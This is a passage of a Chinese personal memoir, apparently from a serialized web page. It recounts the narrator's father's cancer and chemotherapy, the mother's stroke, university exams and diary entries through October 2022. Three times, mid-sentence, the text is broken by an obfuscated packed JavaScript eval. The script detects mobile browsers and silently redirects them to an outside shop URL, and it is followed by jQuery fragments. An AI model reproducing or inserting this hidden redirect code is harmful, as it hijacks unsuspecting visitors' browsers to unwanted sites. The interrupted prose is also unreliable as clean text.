;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187139|150696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话通过音箱小声地响起,“我……我说不了……” 哪怕极力忍住了,打包依然带了哭腔,她的肩膀轻颤,坐下后背过身去快速地擦了擦眼泪。 主持人不知道发生了什么,笑着缓场道:“看来妈妈太激动了,那我们让大儿子说几句。” 哥哥接过话筒站起身,一字一顿地说,“祝爸爸身体健康,福如东海,寿比南山。” 这是再简单不过的生日祝福,可我们所有人都知道有多么宝贵。 原来身体健康是那么难的一件事,原来平凡的生日是那么不容易。或许我就是在那时读懂了金爱烂所写过的一句话,“过着普通的生活,死于普通的年纪,我总相信这就是奇迹。” 蛋糕上的蜡烛被点燃,大家齐唱生日快乐歌,爸爸头上戴着寿星发箍,在烛光里双手合十许下心愿。 我不知道那短暂的几秒里爸爸许了什么愿,但站在一旁的我也默默许下心愿,想要毕业后就回到家乡找工作,最好能在小县城,这样能在爸爸身边多陪他几年。 仔细算算,就算从高中开始住宿,我们和父母相处的时间也很少很少,尤其像哥哥工作的地方离家也有些远,每年只有过年的时候才回家。 因为这件事我在爸爸生病的时候还跟哥哥争吵过,我记得那是在公交车上,我和哥哥打电话,爸爸正从肿瘤医院转院回县城的医院要开始化疗,我问哥哥能不能回来看看爸爸,在这个时候爸爸肯定希望家人们陪在身边,我说陪伴真的很重要。 哥哥说不上班的话哪里有钱,爸爸动手术的钱他也是去借的,他没有办法像我一样能够陪在爸爸身边,这就是现实。 所以在当时我就想,毕业后一定要回县城工作陪在父母身边,哪怕现实艰难,我依然要坚定地选择陪伴。 - 转眼八月就到了头,我必须回学校了,而且因为疫情上网课,学校把期末考都推迟到了开学考,所以我八月底就得返校考试了。 8月25日,爸爸结束了这个月的化疗,我们出院回家,妈妈和我一起包了最后一顿饺子吃。 爸爸现在已经化疗两个月了,以后每个月还需要继续化疗,他们说医院里的流程和生活他们都熟悉了,两个人完全可以,让我回学校后放心学习,不要担心家里。 我从来没有觉得暑假那么长又那么短过,在医院的日子按输液瓶里的点滴计算,漫长得看不到尽头,可一回首所有日子都被折叠,我好像什么也没说、什么也没做就必须离开他们了。 我只短暂地陪伴了爸爸三个月不到,回到学校翻开书本,在医院的一切都像一场梦一样,我有点分不清哪个才是真正的生活了,我只是固执地、机械地做着眼前需要做的事。 疯狂学习准备考试时,我在桌上贴了一张便签,上面写着这段艰难时期里支撑我的一句话,“做此刻能的事情,永不放弃。” 那时的我一心想要好好完成考试顺利毕业回家,以为爸爸妈妈能够继续正常地化疗下去,却没想到,意外总是发生在下一个转角。 6.九月 九月,新学期之始,因疫情耽搁的期末考试如约而至。 对我来说,网课的学习效果并没有线下课那么好,尤其还隔了一个暑假,差不多把学到的都忘了,在这些情况下考试显得格外困难,所以返校之后我基本上都在抱佛脚拼命学习。 三四天的考试紧凑得让人喘不过气来,刚考完一场就要马不停蹄地复习下一场。不过,在考试期间我还是打了电话问家里的情况,本以为不会有什么事,结果却毫无预兆地来了个晴天霹雳。 这一次不是爸爸,而是妈妈。 八月底爸爸化疗结束出院,妈妈邀请了朋友来家里玩,大家热闹地一起吃饭打麻将,和往常没有什么不同,但第二天起来妈妈突然觉得半边脸有些僵硬,浑身疲软无力,右手和右脚也使不上劲。 一开始,爸爸以为妈妈中暑了,出门买了药回来给她吃。妈妈吃过药后还是觉得不太对劲,于是去了家附近的小诊所找认识的医生看了看情况。 医生听了个大概,二话不说立马让妈妈去医院挂神经科检查,他怀疑是脑梗塞,必须立即治疗。 爸爸听后也不敢再耽误,迅速地搀扶着妈妈打车去医院了。检查之后确诊脑梗塞,医生说虽然没有第一时间赶来医院,但很幸运,拖的时间不算长,所以只需要住院输液打针就能慢慢恢复,要是来得再晚一些的话就危险了,甚至有可能会半身瘫痪。 事后妈妈提起这件事也说,幸好诊所的医生让她赶紧去医院,不然他们都不知道这些现象原来是脑梗,毕竟身边没有人有过相同的经历。妈妈把自己的事说出来也是想让大家都留一个印象,如果以后有类似的情况能有个参考。 我在电话里听到妈妈住院的时候特别担心,听说了假如发现不及时的那些后果更是让人心有余悸,万一妈妈瘫痪了,那我们这个家该怎么办?哪怕是“幸运”的现在,也足够残忍了,妈妈脑梗住院,反而要身患癌症的爸爸照顾她。 我当时真的有一种天塌了的感觉,不知道老天为什么忍心这样对我们,爸爸的病还没好,妈妈又倒下了,这种事电视里都不敢演,现实怎么可以如此残酷无情。 尽管很担心他们,很想请假回去帮爸爸分担压力一起照顾妈妈,但是爸妈都说考试重要,尤其是爸爸格外坚持,说他的病没多严重,化疗完感觉挺好的,说他一个人可以照顾好妈妈。 妈妈一向担心影响我的学习,所以也不让我回家,只是叫我好好复习考试,说我考完试她差不多也出院了。 妈妈说,再糟糕的事也都经历过了,现在只不过是又多了一件而已。 无论发生什么,妈妈现在都能平淡地接受了,哪怕是发生在自己身上也一样,她一点也不觉得那么多东西压在身上会绝望,相反,她很感恩这一切都不是最坏的结果。 在妈妈住院的这段时间里,爸爸和妈妈的身份发生了转变,之前是妈妈照顾爸爸,现在换成了爸爸坐在妈妈的病床边。 爸爸缠着腰带防止腰后的脓包流脓水,被肿瘤压迫的腿依然疼痛,但他毫不吭声地跛脚奔波在医院,挂号、找医生、取药、买饭……干瘦的身材像一道影子,混在人群中是那么不真切。 有时候我也好奇过,不再以患者的身份出现在医院的爸爸,作为陪护照顾妈妈是什么感受,他是不是也拥有了我们曾经有过的那些想法:担心家人的病情、不知道自己能做什么,甚至会觉得无能为力…… 不,我想爸爸的感受会更深更复杂,抛开这些沉重的感受,他大概会比我们多一份力量与希望,从被照顾的人变成照顾别人的人,仿佛燃烧殆尽的蜡烛,烛光微弱摇曳,但还是奋力温暖了周围。 妈妈手脚无力,爸爸喂她吃饭、搀扶她行动,成为她的手和脚,陪着她一起复健。 认识的医生和护士遇到爸爸,忍不住感叹他的厉害,自己生病已经那么痛了,每天还吃着止痛药,这样居然也能攒出精力来照顾别人。 大家都说,除了过于消瘦,一点也看不出来爸爸是生病的人。 妈妈也在爸爸的照顾下慢慢恢复着,积极治疗,认真复健。 本来觉得“天塌了”的我,在他们实际行动的鼓舞下也找回了自己的理智和力量。爸爸妈妈都在努力地继续往前走,我不能沉浸在悲伤里一直站在原地。 我放弃了想要不顾一切直接回家的念头,从不切实际的幻想中回到现实,踏踏实实地继续复习考试,坚守八月的信条:“做此刻能做的事情,永不放弃。” 事实证明,学习是一件努力就有回报的事情,这场难熬的期末考我全部通过了,并且取得了满意的绩点,照常获得了奖学金,当然这些都是后话了。 那时的我只是不希望再给父母增加负担,因此埋头做着自己能做的事,让他们知道我也在认真生活,让他们知道家里的事没有对我造成负面影响,我们谁也没有拖累谁、麻烦谁。 我终于后知后觉地明白了哥哥坚持上班的选择,他并不是不想陪伴他们,而是在努力做着自己力所能及的事。 哥哥和我身为儿女所感受到的悲伤和无力是相同的,我们一家人都生活在同一片乌云下,没有谁能轻易走出阴霾。 直到开学了我才明白,或许爸妈心底最希望的是不要因为他们的事而影响我们的生活,或许哥哥才是那个考虑得更多的人。 我努力地回到生活的“正轨”,但这并没有想象中那么轻松。相反,我的内心像被封住了一样,不敢快乐也不敢幸福,任何想要扬起笑容的瞬间,悲伤都会争先恐后地咕噜咕噜冒出来。 中秋节我和舍友们出去聚餐了,我们宿舍的感情很好,大家像往常一样聊天说笑,每个人提起的话题都能引起一番讨论,聊得特别开心。 但就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209455|150696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在吃完饭回学校的路上,我走在旁边默默听着大家聊天,眼眶忽然湿润了。 在那个瞬间,我不知道是什么触动了我,大家明明没聊什么,可我的情绪就像迎面吹来的风一样突然袭来了,她们的声音变得遥远,我的眼前一片模糊。 我在欢笑之中,我在朋友们的身边,我久违地感觉到了快乐,可眼泪却莫名流了下来。 我很开心,同时也打从心底里难过。悲伤的底色深得盖过一切,眼泪淹没了笑容,我没由来地哭了。 当我试图理解自己的情绪时,发现挖掘到最深处是愧疚—— 我觉得自己的快乐是对父母的“背叛”,他们每天与病魔艰难斗争,深陷在痛苦之中,我怎么可以忘记这些独自幸福呢? 不仅仅是不能笑,好像就连感觉到开心也是不应该的。 这是一种很难解释的感受,却真实地扎根在我心中,无论什么情绪最后都会化为愧疚和悲伤,像是无止境的沼泽,越挣扎越往下陷。 没有人规定我必须悲伤,但我不敢快乐,我不能快乐。 - 【日记】2022年9月11日 我已经很久没有翻开这个上大学后用的日记本了,在家用的是另外一个,隔离结束回到学校才再次打开。这段时间的变化太多太多,我以前绝对不会知道2022年自己被隔离了100多天;我也一定不会知道现在爸爸得了癌症,妈妈得了脑梗;不知道今年流的泪超过了上大学以来的所有泪。 甚至昨天中秋节和舍友们一起出去玩后我也哭了,因为感觉太久没有那么开心了、太久没有跟别人一起好好吃饭了,太久没有体验社交了,我常常会觉得这是我人生里最后一段快乐的时光了,可我真的能快乐起来吗?我真的能快乐地活着吗?在爸爸担心离开我们之际、在自己无能为力的时候,在自己也担心爸爸不知道哪一天会离开的时候,我真的很累也很难过。 我们的人生仿佛被塑封住的相册,隔着太多东西,熟悉又陌生,想靠近又害怕,要分离又难过。总是叹气,总是忍不住消极。我的人生,我父母的人生真的还会好起来吗?我们到底会走向什么样的结局? 我以前总是会在日记的最后一行写:希望家人与自己一切安好。 这句话,这个习惯坚持了很多年,但自从爸爸生病后我再没写过了,今天我想最后写一次,老天能再帮我们一次吗?让我坚强了一辈子的爸爸少受罪少挨疼,让妈妈赶快好起来,能走路、能做饭,能继续照顾爸爸,能相互陪伴彼此,开开心心地生活下去。今年已经经历太多了,拜托上天再保佑我一次,再保佑我们一次。 愿家人和自己一切安好。 - 老天并没有听到我的祈祷,悬在生命之上的倒计时没有暂停,也没有被延长,爸爸照顾妈妈的这些时间成为了他最后的回忆。 7.十月 妈妈出院后没多久又到了爸爸化疗的日子,这次他一个人去医院,全程自己照顾自己,每天化疗输完液在病床上坐着缓一缓后就独自去医院附近吃饭。 虽然很幸苦、很困难,但爸爸全都坚持挺过来了。 一转眼就是十月了,爸爸照常要去化疗,妈妈身体还没完全恢复,所以基本上爸爸还是自己一个人在医院。妈妈陪爸爸办了入院,把他安顿好了才回家休息,有时间也会去医院看看他。 化疗期间除了输液外还要配合着吃药,爸爸称这个为“癌症药”,医生平时会提前发药,可是这回药没发多久就被收回去了,妈妈早上一来病房就听爸爸说了这事,他特别生气,发了很大的火,让妈妈去找医生问清楚到底是怎么回事。 那些没能跟爸爸说的话,医生都告诉了妈妈。 爸爸后腰上的脓包七月回县医院就开始破洞流脓水了,这几个月情况越来越糟糕,伤口破得更大更深了,脓水散发着恶臭味,戴着口罩都能闻到,好像所有的东西都在悄悄腐烂,妈妈说九月就有人反映脓水太臭了不愿意跟爸爸一间病房。 给别人添麻烦、被别人嫌弃的感觉并不好受,更何况爸爸一辈子都爱干净,他每天都在清理自己的脓包,勤消毒,勤换纱布,只要流脓就立马用纸擦干净,纸一卷一卷的用完,今天妈妈也刚从家里给他拎了一提卷纸来医院。 听到爸爸说癌症药被收回去了,妈妈赶紧放下纸去找了医生。 医生说给爸爸检查脓包差不多快“贯穿”了,深不见底,而且流出来的液体也越来越臭,他们怀疑是身体里的肠子破了,流出了排泄物之类的东西,反正情况很糟糕,怎么输消炎药也不见好转,这个洞只会越来越大。 而且爸爸抽血化验的结果也不好,各项指标已经低到他们也不敢用药了,跟肿瘤医院之前让我们回家时说的一样,说再化疗下去身体会承受不住的,所以他们才把发给爸爸化疗吃的药收了回来。 类似的话妈妈六月底就听过,很快听懂了医生的潜台词,“是要让我们回家的意思吗?” 医生叹了口气点点头,脸上的表情沉重惋惜,“我们也没办法了,回家后他有什么心愿都尽量满足他吧。” “六月到现在已经是奇迹了。” 原来我们一直生活在奇迹里,天边灿烂一片的火烧云晚霞已然是奇迹本事。 妈妈心里很清楚医生这样说代表着是真的没其他治疗方法了,垂下头沉默了会儿,她起身跟医生道谢,拖着无力的腿深一脚浅一脚地走回病房。 我不知道她是怎么跟爸爸说的,也不知道爸爸是怎么接受的,他们最后收拾东西回家了,再也没有去医院。 这些事我都是从电话里听到的,好像自从爸爸生病以后,每隔一段时间就会有不好的消息冒出来,我们紧提的心一次次被敲打,我们一次次被推入更黑的深渊。 或许时间和空间上的距离有一定的缓冲作用,又或许是因为收到的坏消息太多已经有些麻木了,我哭完后接受了一切。 我并不把这当做终点,只要还活着,那再坏的消息也不是最坏的结果,医生说爸爸的每一天都是奇迹,尽管我做不到感恩,但我深深记得这就是奇迹。 2022年下半年的教资笔试安排在10月29日,我之前就报名参加了,其实教资是爸妈希望我考的,并不是我自己的决定,我一直很抗拒,觉得自己不适合也不可能做一名教师。 爸爸生病之后,我忽然就改变了想法,推翻了过往坚定的拒绝。县城并没有什么我本专业能从事的工作,教师是相对来说每个地方都有的岗位,如果想陪爸妈回来找工作的话,有个教资应该机会能多一点。而且这也算是爸爸的一个心愿,所以这次我是发自内心想要考到教资的,那不是被迫参加。 可以说,十月底的教资笔试比九月初的期末考更重要,因此我依然没有请假回去,妈妈也坚持说让我考完试再回家,说她会在家陪爸爸的,有什么情况也都会及时告诉我。 于是我就这样,一边努力地学习准备考证,一边和妈妈通电话了解爸爸的状况。 爸爸回家后天气转凉,妈妈在家烧了火炉取暖,床上不够暖和,她就把我们在医院陪护时睡的折叠床拿出来架在火炉旁给爸爸睡。 他每天都用剪刀裁纸,剪成一节一节的方便拿取擦脓水,还让哥哥给他买了造口袋,说是要系在腰上。尽管知道爸爸的伤口不平根本用不了造口袋,但哥哥还是听爸爸的话给他买了。 买来后爸爸先往腰上缠了束腹带再用造口袋,这样明明什么也流不出来,他还戴着傻乐,妈妈说这个时候爸爸已经有点神智不清了。 住在老家的叔叔们听说后坐车来家里看望了爸爸,其中有跟他吵架还没和好的三叔,具体是什么矛盾说起来太复杂了,反正闹得很僵,爸爸生病后他一次也没来过。 应该是担心留意遗憾,三叔主动来找爸爸道歉说和了。 看见三叔来家里,一直卧床的爸爸高兴地坐起身到桌边和他们一起吃饭,嘴里的话混乱不清,说什么他宣布给三叔一个官位,同意三叔做大官之类的话。 大家把眼泪往肚子里咽,点头应和着胡言乱语的爸爸,他说的话越奇怪,大家就越难过。 最后爸爸跟三叔说,以后奶奶就拜托他照顾了。我爸是家里的老大,二叔年轻的时候出事故去世了,除开他们,剩下最大的就是三叔了。 说出这句话的瞬间,爸爸一定是清醒的,三叔悄悄扭过头抹了把眼泪。 我回想了一下爸爸在清醒状态下跟我说过最后的话是什么,应该是让我好好考教资。 再后面是爸爸跟我说他梦到我的舍友偷拿我的纸巾用,那时候我还不明白他这个梦是什么意思,以为他是在说胡话。 后来我才读懂,对他来说最重要的就是擦脓水的纸巾,他梦到舍友拿我的纸巾代表着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262005|150696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他担心我和舍友们关系不好。这件事我是在爸爸的葬礼上才明白的。 十月二十多号,哥哥请假回家了,这意味着爸爸的病情严重到了哥哥也不得不回家的地步。得知哥哥回家后,我也待不住了,担心真有什么事,飞机票都看好了,又被妈妈叫住,让我再坚持几天把试考完。 妈妈很清楚我在害怕什么,她向我保证,绝对不会隐瞒我任何事,假如发现爸爸快不行的话一定会联系我,让我赶快回家。 想起爸爸最后对我说的话,我忍住了回家的念头,坚持着继续学习,一心祈祷爸爸能好好的等我考完试回家。 在这期间,妈妈找来了叔叔们商量给爸爸买墓地的事,他们说奶奶还在老家,决定把地买在城里。哥哥跟舅舅去看地那天被爸爸察觉到了,我们家跟舅舅也有些过节,爸爸在家破口大骂着说,“我还很清醒!你们都以为我要死了是吧?我死不了!而且我就算是死也不要你舅帮忙!” 妈妈说临终前说的话很灵,爸爸去世那会儿舅舅刚好动痔疮手术没办法来,真的应验了爸爸说的不让他帮忙。这些也是后来发生的事了。 - 【日记】2022年10月13日 最近几天我总是会想。像老爸一样生活一天是什么样的?腰上一直流脓流大便的伤口。臭味和脏感一直粘在身边。动到身体的话,伤口就会撕裂的痛,对死亡的恐惧和疼痛整宿整宿压着睡不着。因为什么也不能做,所以会频繁的回想从前,只有这样才。不会被无望的未来淹没。 人不是总得靠着什么念头才能活下去吗?对生活的期待,对未来的憧憬之类的。可是如果什么也看不到呢?老爸是靠什么熬过这又脏又臭又难忍,痛苦无望的每一天的,如果什么都不能做,只能躺在床上跟永远无法好的伤口一起腐烂,这个时候我会想什么呢? 我一定无法熬过去的,哪怕只是一天,光是听着就浑身冰冷无望的生活,我只能控制不住地落泪和消极地沉没。 因为换季脸干燥起皮了,所以泪水的咸让整张脸都疼,哪怕只是这样的痛和难过,都快让我受不了了,这些却不到老爸承受的千万分之一。 我已经设想了很多次他离开的场景,这4个月以来常常都会哭泣,跟一样忍不住哭泣的妈妈一起隔着电话无力地安慰彼此。很多事是我们都无法改变的,就像妈妈说的一样,我回去了也只能在一旁看着这一切,没有人能分担爸爸的痛苦,但我们都活在痛苦里。 老妈说你要去做你能做的事,过好自己的生活,不能想太多,因为想再多也无法改变任何事,我得活下去,无论发生什么都要活下去,我一定会活下去的。 - 10月29日,一天考三门,考完我和朋友在学校食堂吃了咖喱饭,第二天坐飞机回到家里。 死亡的准备,死亡的气息都在十月底沉淀得深厚。 我回来了,爸爸也酝酿着要离开了。